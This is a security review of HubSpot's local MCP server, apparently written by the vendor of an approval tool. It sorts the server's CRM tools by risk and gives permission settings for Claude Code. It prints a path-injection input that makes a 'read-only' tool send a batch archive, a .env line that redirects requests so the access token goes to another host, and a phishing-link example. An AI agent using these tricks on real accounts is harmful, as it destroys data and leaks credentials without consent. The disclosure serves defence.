HubSpot MCP server tools: what the agent can change in your CRM, and how to make it ask

All 21 tools of HubSpot's @hubspot/mcp-server 0.4.0, checked by running it against a local stand-in for the HubSpot API: which tools create, update and associate CRM records or add notes and tasks, how a read tool marked read-only sent a batch archive, why a .env file in your project can send the token elsewhere, which HubSpot scopes are the only real lock, how it differs from HubSpot's remote server at mcp.hubspot.com, and the Claude Code settings that make the writes ask.

Checked on by running @hubspot/mcp-server 0.4.0 (npm, run with npx on Node 24) from @hubspot/mcp-server on npm and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.

The short answer

It has no read-only switch, so the key's scopes are the only lock: give it read scopes only. Let 12 of its 21 tools run unasked, and make the seven that create, update or associate records, change properties or add notes and tasks ask, and hubspot-batch-read-objects too, which sent a batch archive, and hubspot-search-objects, which builds its address the same way; with a read-only key both may run. Pin BASE_URL_OVERRIDE so a .env file cannot send the key elsewhere.

Can run on their own
12
Should ask a person
9

Which HubSpot server this is

This page is about @hubspot/mcp-server, HubSpot’s npm package, which runs on your machine and signs in with a private app token. Its latest release, 0.4.0, came out on 18 June 2025 and nothing has followed; it had 69,234 downloads in the week to 22 November 2026. Its README calls it a beta under HubSpot’s Early Adopter Program terms. We ran npx -y @hubspot/mcp-server@0.4.0 on Node 24 and took its initialize and tools/list answers: it calls itself hubspot-mcp-server 0.4.0 and offers 21 tools and one prompt, a “HubSpot Sales Coach” for finding deals at risk.

HubSpot now points people to a different server. The remote HubSpot MCP server at mcp.hubspot.com became generally available on 13 April 2026. You connect to it with OAuth 2.1 and PKCE through an MCP auth app, not a token; it acts as the HubSpot user who signed in, with their permissions. Its docs name about 40 tools, far beyond this one’s CRM records: marketing emails, landing pages, blog posts, campaigns, social posts, conversations and pipelines among them. They say manage_crm_objects asks the user to confirm before it creates or updates, and that conversations are blocked when Sensitive Data is turned on. Neither of HubSpot’s MCP pages mentions the npm package. There is also a third one, the developer MCP server set up with hs mcp setup, which helps build HubSpot apps and does not touch CRM data. We ran only the npm package; the rest of this page is about it.

We have no HubSpot account. The server reads BASE_URL_OVERRIDE for the API address, so we pointed it at a small web server on this machine that stood in for the HubSpot API, answered with made-up contacts, and recorded every request, with a fake token. Everything below about what the server sent comes from that record; what HubSpot would do with it comes from HubSpot’s documentation.

What it can change

Seven tools write, and each of these went out to our stand-in as shown. Each write tool’s description begins “Only use when the user has explicitly requested to update their CRM”, which is a request to the model, not a check. None of them asks for confirmation, and none deletes.

hubspot-batch-create-objects
POST /crm/v3/objects/{type}/batch/create, up to 100 records of any object type, with associations if asked. A call with 101 was refused before anything was sent.
hubspot-batch-update-objects
POST /crm/v3/objects/{type}/batch/update, up to 100 records, any property. We set a lifecycle stage and a lead status in one call.
hubspot-batch-create-associations
POST /crm/v4/associations/{from}/{to}/batch/create. Its description says at most 100, but the code does not check: 150 links went out in one request, and only HubSpot’s own limit stands behind that.
hubspot-create-engagement
POST /engagements/v1/engagements, a note or a task on contacts, companies, deals or tickets, in the name of whichever owner ID the call gives. Its metadata is passed on as it is: a field we made up reached the stand-in.
hubspot-update-engagement
PATCH /engagements/v1/engagements/{id}, rewriting a note or task body, owner or time.
hubspot-create-property
POST /crm/v3/properties/{type}, a new field on every record of that type.
hubspot-update-property
PATCH /crm/v3/properties/{type}/{name}. With hidden: true on email it asked HubSpot to hide the contact email field.

Workflows can only be read: hubspot-list-workflows and hubspot-get-workflow send GET /automation/v4/flows and nothing else. But changing a record can start one. A workflow that enrolls contacts by lifecycle stage or by a property value picks up the records hubspot-batch-update-objects changes, and if it sends email, the agent has emailed those people without a tool that sends email.

A read tool that sent a batch archive

Twelve tools put the object type, which the model writes, straight into the request address, and the server checks only that it is a string. So the model can reach other HubSpot endpoints through a tool named for something else. We gave hubspot-batch-read-objects, which the server marks read-only, this, and our stand-in received the request below it:

hubspot-batch-read-objects
  objectType: "contacts/batch/archive#"
  inputs: [{ "id": "1" }, { "id": "2" }]

POST /crm/v3/objects/contacts/batch/archive
{"inputs":[{"id":"1"},{"id":"2"}]}

The # cut off the /batch/read the tool adds. The body the tool always sends, a list of IDs, is exactly what HubSpot’s batch archive endpoint takes, so up to 100 records of any type can be archived this way. HubSpot keeps archived contacts restorable for 90 days. The tool then reported an error to the agent, because the answer had no results in it, although the request had gone out. The same trick made hubspot-list-objects fetch GET /files/v3/files, outside the CRM. What stops it is the key: archiving needs the object’s .write scope, and a key with only read scopes makes it fail at HubSpot. hubspot-search-objects builds its POST address the same way. We found no endpoint its search body can harm, but the settings below make it ask as well, unless the key only reads.

A .env file in your project can send the key elsewhere

The server’s first line loads a .env file from the folder it starts in, which for a server added to Claude Code is usually your project. A .env there with this line was enough to move every request, while the token came from claude mcp add -e as usual:

BASE_URL_OVERRIDE=http://127.0.0.1:18766

A second stand-in on that port received the token in the Authorization header of every call, and once more in the body of hubspot-get-user-details, which posts it to HubSpot to look up its scopes. Plain http was accepted. A .env file loads only settings that are not set already, so giving BASE_URL_OVERRIDE in the command, set to the server’s own default, kept every request where it belonged. Without a token in the command, a PRIVATE_APP_ACCESS_TOKEN in the project’s .env was used instead. Apart from that address the code calls nothing: no telemetry, and it writes no files.

No read-only switch: the key’s scopes are the lock

The server has no read-only flag and no setting that hides tools: it lists all 21 whatever the key may do, and reads only two settings, PRIVATE_APP_ACCESS_TOKEN (or the older HUBSPOT_ACCESS_TOKEN) and BASE_URL_OVERRIDE. Without a token it does not start. Its README’s only advice is “Consider starting with read-only scopes”. What a call can do is what HubSpot lets the key do, and HubSpot checks that on every request. Our stand-in checked no scopes, so this part comes from HubSpot’s scope list, read on 24 November 2026:

crm.objects.contacts.read
Lets hubspot-list-objects, hubspot-search-objects and hubspot-batch-read-objects read contacts, and the same .read scope for companies, deals or tickets reads those. HubSpot describes every .read scope as viewing.
crm.objects.contacts.write
“Create, delete, and make changes to contacts”, in HubSpot’s words. It is what hubspot-batch-create-objects, hubspot-batch-update-objects and the batch archive above need. Leave out every crm.objects.*.write scope and those calls are refused by HubSpot, whatever the tool’s name.
crm.schemas.contacts.write
Changes property settings, which hubspot-create-property and hubspot-update-property do. The .read scope is enough for hubspot-list-properties and hubspot-get-property.
automation
Needed by hubspot-list-workflows and hubspot-get-workflow, and only on Professional or Enterprise. HubSpot describes it as “create and retrieve custom workflow actions, and usage of the v4 workflow APIs”, which is more than reading. No tool of this server changes a workflow, but leave the scope out unless the agent needs to read them.
crm.objects.custom.*
Custom objects, Enterprise only. hubspot-get-schemas needs crm.schemas.custom.read.

For notes and tasks the server uses HubSpot’s legacy v1 engagements API. Its reference for reading engagements names only the old, broad contacts scope, and we found none for creating or updating them, so check with a call that a key without write scopes is refused before you rely on it.

HubSpot also changed where keys come from. Since 26 October 2026 (28 September for new accounts) no new legacy private app can be created; existing ones and their tokens keep working. The successor is a service key, made under Development, Keys, Service keys, with the scopes you pick, and sent as a Bearer token like the old one. This server sends whatever token it is given as a Bearer token, so a service key should work for the CRM tools; we could not try one. Whether hubspot-get-user-details works with it we do not know: it asks HubSpot’s private-app token endpoint about the token. See HubSpot’s service key guide.

What the reads hand back

  • hubspot-list-objects returns up to 500 records a call, with any properties the model names and a cursor for the next page, so a read-only key still lets the agent page through every contact’s email and phone number. hubspot-batch-read-objects also takes propertiesWithHistory, which returns old values too.
  • hubspot-get-user-details returns the key’s scopes, the owner’s email and the account details.
  • hubspot-get-link builds HubSpot links from a uiDomain the model passes and checks only the object type. Given evil.example/phish?x=, it returned https://evil.example/phish?x=/contacts/1234567/record/0-1/1. It fetches nothing, but a link from it is only as trustworthy as the model that wrote it.
  • hubspot-generate-feedback-link returns one sentence with developers.hubspot.com/mcp and sends nothing. Its description tells the model to use it “proactively” when it senses the user is dissatisfied.

A setup we would use

Make a service key, or keep an existing private app, with read scopes only: crm.objects.*.read for the objects the agent needs, crm.schemas.*.read for their properties, and nothing that ends in .write. Pass it in the command, and set BASE_URL_OVERRIDE there too, so no .env file can change where it goes:

claude mcp add hubspot -e PRIVATE_APP_ACCESS_TOKEN=… -e BASE_URL_OVERRIDE=https://api.hubspot.com -- npx -y @hubspot/mcp-server@0.4.0

With that key every write tool, and the archive trick, fails at HubSpot. The reads still return whole contact records, so keep the agent off any key that sees records it does not need.

All 21 tools

Hard to undo2 toolsAsk a person every time. Consider two people, or deny it if the agent never needs it.

  • hubspot-batch-update-objects

    Updates multiple existing HubSpot objects of the same objectType in a single API call.

    Server gives no read-only or destructive hint

    Our call: Overwrites any property on up to 100 records a call, such as lifecycle stage or email, and a changed property can enroll the records in a workflow that emails them.

  • hubspot-batch-read-objects

    Retrieves multiple HubSpot objects of the same object type by their IDs in a single batch operation.

    Server says: read-only

    Our call: Marked read-only, but it puts objectType into the address unchecked. With contacts/batch/archive# it sent HubSpot's batch archive request for the IDs it was given, a body that archive accepts as it is.

Not sure1 toolAsk a person until you have checked what it does.

  • hubspot-search-objects

    Performs advanced filtered searches across HubSpot object types using complex criteria.

    Server says: read-only

    Our call: Marked read-only, and we found no endpoint that does harm with its search body, but it POSTs to an address built from objectType unchecked, the same way the batch read sent an archive. With a key that can write, let a person see it.

Changes data6 toolsAsk a person. Once it is routine, a standing rule can answer.

  • hubspot-batch-create-associations

    Establishes relationships between HubSpot objects, linking records across different object types, by creating associations between objects in batch.

    Server gives no read-only or destructive hint

  • hubspot-batch-create-objects

    Creates multiple HubSpot objects of the same objectType in a single API call, optimizing for bulk operations.

    Server gives no read-only or destructive hint

  • hubspot-create-property

    Creates new custom properties for HubSpot object types, enabling data structure customization.

    Server gives no read-only or destructive hint

  • hubspot-update-property

    Updates existing custom properties for HubSpot object types, enabling data structure customization.

    Server gives no read-only or destructive hint

  • hubspot-create-engagement

    Creates a HubSpot engagement (Note or Task) associated with contacts, companies, deals, or tickets.

    Server gives no read-only or destructive hint

  • hubspot-update-engagement

    Updates an existing HubSpot engagement (Note or Task).

    Server gives no read-only or destructive hint

Only looks12 toolsLet it run. It only looks.

  • hubspot-get-user-details

    Authenticates and analyzes the current HubSpot access token, providing context about the user's permissions and account details.

    Server says: read-only

  • hubspot-list-objects

    Retrieves a paginated list of objects of a specified type from HubSpot.

    Server says: read-only

  • hubspot-get-association-definitions

    Retrieves valid association types between specific HubSpot object types.

    Server says: read-only

  • hubspot-list-associations

    Retrieves existing relationships between a specific object and other objects of a particular type.

    Server says: read-only

  • hubspot-list-properties

    This tool retrieves a complete catalog of properties for any HubSpot object type.

    Server says: read-only

  • hubspot-get-property

    This tool retrieves detailed information about a specific property for a HubSpot object type.

    Server says: read-only

  • hubspot-get-engagement

    Retrieves a HubSpot engagement by ID.

    Server says: read-only

  • hubspot-generate-feedback-link

    Use this tool when the user wants to submit feedback about HubSpot MCP tool.

    Server says: read-only

    Our call: Returns a fixed sentence with the developers.hubspot.com/mcp link and sends nothing. The checker takes the word submit in its description for a message to someone.

  • hubspot-get-schemas

    Retrieves all custom object schemas defined in the HubSpot account.

    Server says: read-only

  • hubspot-get-link

    Generates HubSpot UI links for different pages based on object types and IDs.

    Server says: read-only

  • hubspot-list-workflows

    This tool retrieves a paginated list of workflows from the HubSpot account.

    Server says: read-only

  • hubspot-get-workflow

    This tool retrieves detailed information about a specific workflow from the HubSpot account.

    Server says: read-only

Let the reads run in Claude Code

Claude Code asks before every MCP tool it has no rule for. Added as hubspot, this server’s tools are named mcp__hubspot__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.

{
  "permissions": {
    "allow": [
      "mcp__hubspot__hubspot-get-user-details",
      "mcp__hubspot__hubspot-list-objects",
      "mcp__hubspot__hubspot-get-association-definitions",
      "mcp__hubspot__hubspot-list-associations",
      "mcp__hubspot__hubspot-list-properties",
      "mcp__hubspot__hubspot-get-property",
      "mcp__hubspot__hubspot-get-engagement",
      "mcp__hubspot__hubspot-generate-feedback-link",
      "mcp__hubspot__hubspot-get-schemas",
      "mcp__hubspot__hubspot-get-link",
      "mcp__hubspot__hubspot-list-workflows",
      "mcp__hubspot__hubspot-get-workflow"
    ]
  }
}

The command that adds the server:

claude mcp add hubspot -e PRIVATE_APP_ACCESS_TOKEN=… -e BASE_URL_OVERRIDE=https://api.hubspot.com -- npx -y @hubspot/mcp-server@0.4.0

Send the rest to a person, not the terminal

A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "mcp__hubspot__(?!(hubspot-get-user-details|hubspot-list-objects|hubspot-get-association-definitions|hubspot-list-associations|hubspot-list-properties|hubspot-get-property|hubspot-get-engagement|hubspot-generate-feedback-link|hubspot-get-schemas|hubspot-get-link|hubspot-list-workflows|hubspot-get-workflow)$).*",
        "hooks": [
          { "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
        ]
      }
    ]
  }
}

Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.

Any MCP client: put the proxy in front

Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz login once to save a key, then use this in claude_desktop_config.json or ~/.cursor/mcp.json:

{
  "mcpServers": {
    "hubspot": {
      "args": [
        "-y",
        "https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz",
        "mcp-proxy",
        "--name",
        "hubspot",
        "--look-only",
        "hubspot-get-user-details,hubspot-list-objects,hubspot-get-association-definitions,hubspot-list-associations,hubspot-list-properties,hubspot-get-property,hubspot-get-engagement,hubspot-generate-feedback-link,hubspot-get-schemas,hubspot-get-link,hubspot-list-workflows,hubspot-get-workflow",
        "--",
        "npx",
        "-y",
        "@hubspot/mcp-server@0.4.0"
      ],
      "command": "npx",
      "env": {
        "PRIVATE_APP_ACCESS_TOKEN": "…",
        "BASE_URL_OVERRIDE": "https://api.hubspot.com"
      }
    }
  }
}

Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):

npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz setup claude-desktop

The same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__hubspot, keeps Claude Code from asking a second time in the terminal:

claude mcp add hubspot -e PRIVATE_APP_ACCESS_TOKEN=… -e BASE_URL_OVERRIDE=https://api.hubspot.com -- npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz mcp-proxy --name hubspot --look-only hubspot-get-user-details,hubspot-list-objects,hubspot-get-association-definitions,hubspot-list-associations,hubspot-list-properties,hubspot-get-property,hubspot-get-engagement,hubspot-generate-feedback-link,hubspot-get-schemas,hubspot-get-link,hubspot-list-workflows,hubspot-get-workflow -- npx -y @hubspot/mcp-server@0.4.0

Claude Code’s allow rules match a tool’s name, never its arguments, so a rule cannot tell a harmless call of these tools from a risky one. With a key that has only read scopes, as in the setup above, and only then, these rules also let hubspot-batch-read-objects, hubspot-search-objects run unasked:

{
  "permissions": {
    "allow": [
      "mcp__hubspot__hubspot-get-user-details",
      "mcp__hubspot__hubspot-list-objects",
      "mcp__hubspot__hubspot-get-association-definitions",
      "mcp__hubspot__hubspot-list-associations",
      "mcp__hubspot__hubspot-list-properties",
      "mcp__hubspot__hubspot-get-property",
      "mcp__hubspot__hubspot-get-engagement",
      "mcp__hubspot__hubspot-generate-feedback-link",
      "mcp__hubspot__hubspot-get-schemas",
      "mcp__hubspot__hubspot-get-link",
      "mcp__hubspot__hubspot-list-workflows",
      "mcp__hubspot__hubspot-get-workflow",
      "mcp__hubspot__hubspot-batch-read-objects",
      "mcp__hubspot__hubspot-search-objects"
    ]
  }
}

When the agent should write

For an agent that logs calls, updates deals or cleans up records, add the server a second time under its own name, such as hubspot-write, with a key that has the write scopes for just those objects, so the allow rules above do not cover it, and let every call ask. The person approving should read the objectType as well as the records: anything after a / or # in it is another endpoint. Keep the batches small enough to check, and turn off or check workflows that enroll on the properties the agent changes. For the wider set of rules for agents that touch contacts and campaigns, see guardrails for AI marketing agents and the email and CRM guide.

See it before you decide.

The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.